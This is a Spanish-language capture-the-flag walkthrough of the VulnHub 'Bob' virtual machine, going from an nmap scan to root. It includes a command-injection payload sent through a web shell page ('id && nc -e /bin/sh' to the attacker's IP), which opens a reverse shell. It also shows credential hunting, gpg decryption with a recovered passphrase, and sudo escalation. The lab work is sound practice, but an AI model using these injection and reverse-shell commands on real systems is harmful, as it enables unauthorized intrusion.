\   /\          __    _____        _____     _____ _ _____
)  ( ')        |  |  |  _  |   ___|  _  |___|  |  |_|_   _|___
(  /  )        |  |__|     |  |  _|     |_ -|     | | | | | .'| 
 \(__)|        |_____|__|__|  |___|__|__|___|__|__|_| |_| |__,|

 
 Hoy vamos a jugar a una VM de VulnHub llamada Bob.
Podemos descargarla desde el siguiente enlace.
Una vez montada la VM y tambien la VM con la cual la atacaremos
empezamos :)

En mi caso:

Victima: 192.168.1.48
Atacante: 192.168.1.43

Como siempre, empezamos con nmap asi que:

nmap -A -p- 192.168.1.43
Smiley face Podemos observar que tiene: * 80 HTTP (Apache 2.4.25) * 25468 SSH (OpenSSH 7.4p1) Nmap tambien nos muestra que el fichero robots.txt contiene las entradas: * /login.php * /dev_shell.php * /lat_memo.html * /passwords.html Smiley face Lo mas interesante parece que es /dev_shell.php asi que entraremos a ver que nos encontramos. Smiley face Bien, parece que es una webshell en la que podemos introducir comandos. Si introducimos ls nos muestra como "Output: Get out skid lol" Sin embargo, si ponemos como comando id vemos que funciona correctamente y nos muestra como Output el (supuesto) id. Smiley face Sabiendo esto, vamos a intentar ejecutar una reverse shell, para ello en nuestro equipo atacante ejecutaremos:
nc -nlvp 1337
En la dev_shell.php pasaremos como comando lo siguiente:
id && nc -e /bin/sh 192.168.1.43 1337
Smiley face Ejecutamos el comando y funciona! Recibimos una shell! Smiley face Bien, ya que estamos dentro miramos que hay en el /home: Smiley face Vemos que hay los siguientes usuarios: * bob * elliot * jc * seb Despues de mirar los ficheros que hay en cada home etc... vemos que elliot tiene un fichero curioso llamado theadminisdumb.txt. Smiley face Lo leemos con el comando:
cat theadminisdumb.txt
Y nos muestra que ha elliot ha cambiado su password a theadminisdumb Smiley face Sabiendo eso, y conociendo el puerto de ssh nos logueamos con el comando:
ssh elliot@192.168.1.48 -p 25468
Y ya estamos dentro con el usuario de elliot. Smiley face Despues de mirar si encontramos algo interesante, vemos que en el home de bob hay un fichero llamado .old_passwordfile.html. Al hacer cat del fichero nos pararece "hey n there .old_passwordfile.html". Smiley face Sin embargo, al hacer varios "cat" a diferentes ficheros vemos que siempre aparece ese mensaje, con lo cual parece que aqui pasa algo... Miramos si tiene algun alias creado con el comando:
alias
Y podemos ver que efectivamente, hay un alias para cat... Lo quitamos con el comando unalias:
unalias cat
Smiley face Una vez quitado el alias, ya podemos ver el contenido del fichero .old_passwordfile.html. Smiley face Bien, parece que son las passwords para jc y seb :) Continuamos mirando el sistema para ver si encontramos algo interesante y podemos ver que en /home/bob/Documents hay un fichero llamado login.txt.gpg y la carpeta llamada Secret. Smiley face Si investigamos por la carpeta Secret veremos que hay un fichero .sh el cual nos muestra un texto como el siguiente... Smiley face Despues de mucho mirar, puede que las iniciales que aparecen en mayuscula sea la password que necesitamos para desencriptar el fichero .gpg visto con anterioridad asi que vamos a probar... Ejecutamos el comando:
gpg -d login.txt.gpg
Y nos pedira un password... Smiley face Ponemos HARPOCRATES que son las iniciales del texto que vimos antes y.... Smiley face Perfecto, tenemos la password del usuario bob! Nos logueamos como bob y vemos si puede usar sudo y para que... Para ello ejecutamos:
sudo -l
Podemos ver que puede hacer todo... Smiley face Asi que... ejecutamos:
sudo su
Para obtener root, y eso conseguimos :) Smiley face Para concluir vemos la flag que esta en la raiz.
cat /flag.txt
Smiley face Y con esto ya habriamos conseguido root en la maquina!